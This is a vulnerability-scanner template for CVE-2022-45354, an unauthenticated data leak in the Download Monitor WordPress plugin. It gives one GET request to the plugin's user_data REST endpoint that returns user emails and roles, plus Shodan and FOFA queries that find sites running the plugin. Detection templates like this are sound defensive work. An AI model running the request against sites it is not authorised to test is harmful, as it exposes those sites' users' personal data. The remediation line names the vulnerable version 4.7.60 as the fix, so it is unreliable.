id: CVE-2022-45354

info:
  name: Download Monitor <= 4.7.60 - Sensitive Information Exposure
  author: DhiyaneshDK
  severity: high
  description: |
    The Download Monitor plugin for WordPress is vulnerable to Sensitive Information Exposure in versions up to, and including, 4.7.60 via REST API. This can allow unauthenticated attackers to extract sensitive data including user reports, download reports, and user data including email, role, id and other info (not passwords)
  impact: |
    An attacker can exploit this vulnerability to gain access to sensitive information, potentially leading to further attacks or unauthorized access.
  remediation: |
    Update to the latest version of the Download Monitor plugin (4.7.60) or apply the provided patch to fix the vulnerability.
  reference:
    - https://github.com/RandomRobbieBF/CVE-2022-45354
    - https://wordpress.org/plugins/download-monitor/
    - https://patchstack.com/database/vulnerability/download-monitor/wordpress-download-monitor-plugin-4-7-60-sensitive-data-exposure-vulnerability?_s_id=cve
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-45354
    epss-score: 0.38083
    epss-percentile: 0.98364
    cpe: cpe:2.3:a:wpchill:download_monitor:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wpchill
    product: download_monitor
    framework: wordpress
    shodan-query:
      - html:"/wp-content/plugins/download-monitor/"
      - http.html:"/wp-content/plugins/download-monitor/"
    fofa-query: body="/wp-content/plugins/download-monitor/"
  tags: cve,cve2022,wordpress,wp-plugin,download-monitor,wp,wpchill,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/download-monitor/v1/user_data"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"registered":'
          - '"display_name":'
        condition: and

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200
# digest: 490a004630440220252e4802d8cd525f5f23d52ff4a3656be1bfdb32f7b7f8571f917cfa115b25d50220057b279cc1d8b17fcc29061062dad07203aa9c744af7866444c778f9b3e4d6ab:922c64590222798bb761d5b6d8e72950